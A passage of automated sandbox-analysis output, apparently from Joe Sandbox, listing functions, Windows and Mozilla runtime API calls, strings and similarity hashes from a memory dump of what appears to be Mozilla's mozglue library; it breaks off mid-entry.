Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction ID: 297abd91c9a7b622260a04843133fe2be1a6b8dc702dc8f9656b893a9e19ed30
Opcode Fuzzy Hash: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction Fuzzy Hash: 6341AF71A047469FD300DF29C88056AFBF4FFCA254F604A2DE4A987640DB70E95ACB96

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5DFFF5
free.MOZGLUE(?,?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5E002A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction ID: 86481ef2ef319477e5278dfe31cc76e7cfa570f9dee89733d0664d46ce90e840
Opcode Fuzzy Hash: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction Fuzzy Hash: DA21D6B2A002165BC718DE7C9C948AFB7BAFBC93247250738E525D7780EB71AD0187E5

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F208E
free.MOZGLUE(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F20A3

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction ID: 391da3366dc8c6688c1ce1f87a9af8fec735c5d15e5b594202f07a721ba04a0f
Opcode Fuzzy Hash: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction Fuzzy Hash: 1AF0B4B2100600DBC7118F17DC88B9BB7F9EFC6364F10051AE94687710C776A806CB9A

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C5B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

Strings

GetNtLoaderAPI, xrefs: 6C5B4744

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction ID: e377d0aa49a38f1f29246ed5ffa417c707ad2c65e92467725175113c95433efa
Opcode Fuzzy Hash: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction Fuzzy Hash: E2018C753052159FDF109FA78894A1D7BB9EB8A311F040069EA06D7300CB78D802CF9A

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

Infinity, xrefs: 6C5B9EB7
NaN, xrefs: 6C5B9EC1

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5B3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62F860), ref: 6C5B385C
ReleaseSRWLockExclusive.KERNEL32(6C62F860,?), ref: 6C5B3871

Strings

,bl, xrefs: 6C5B387A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,bl
API String ID: 17069307-4033880889
Opcode ID: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction ID: c587f609c1da52f53258d3f17e377b0dcfd55333d9ce8ae54d14a3b2ce5bb89a
Opcode Fuzzy Hash: 96bcab5be6b60f8f8268449ea379e9e858461bd518bc4d5ba76e2c8c6641344c
Instruction Fuzzy Hash: 6CE0DF32916A29D7C7019FA7985158ABFB8EE83AA17044515F80A3BE00CB3CA4408ECF

Function 6C5BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5BBEF5

Strings

cryptbase.dll, xrefs: 6C5BBEF0

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction ID: 5a8e827c48539296f82e644b6e10bc4caaacba438bdb67aedd30e8c440003529
Opcode Fuzzy Hash: f304f89b7f1098ab588461850324c203061fffd6f79296763012e72f16054808
Instruction Fuzzy Hash: 99D0C731184208EAD740BA518D56B253B74E741755F10C421F79654961C7F5A451CF58

Function 6C5FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB628

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5FB2C9,?,?,?,6C5FB127,?,?,?,?,?,?,?,?,?,6C5FAE52), ref: 6C5FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5FB127,?,?,?,?,?,?,?,?), ref: 6C5FB74D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction ID: b712c67391636e8cc1ced318c4a05d7d813e26569a77d797f07b665b612d7291
Opcode Fuzzy Hash: 64aa8345e48425a80c77f4c7ac13a772bebb3a794955cfacd32b6bbe6cc7de61
Instruction Fuzzy Hash: 6651BF71A06216CBDB18EF18CD8065EB7B5FF85304F55852DC86AAB700E731A806CFA1

Function 6C5FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5EFF2A), ref: 6C5FDFFD

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5EFF2A), ref: 6C5FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5EFF2A), ref: 6C5FE0FE

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction ID: 53dfd28938f0a45e317777257ab16be6561e4e64da06be9331d203c65a2feaab
Opcode Fuzzy Hash: 5cfdbe5f39ab9eeb31584171caf191b848b15f7f46d225642a5cefa08b4b7434
Instruction Fuzzy Hash: F841B3B16046168FEB18CF68DC8075A77BAEB45308F244939D526DB740E7B2E906CFD2

Function 6C5F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F6F5C

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$freememcpy
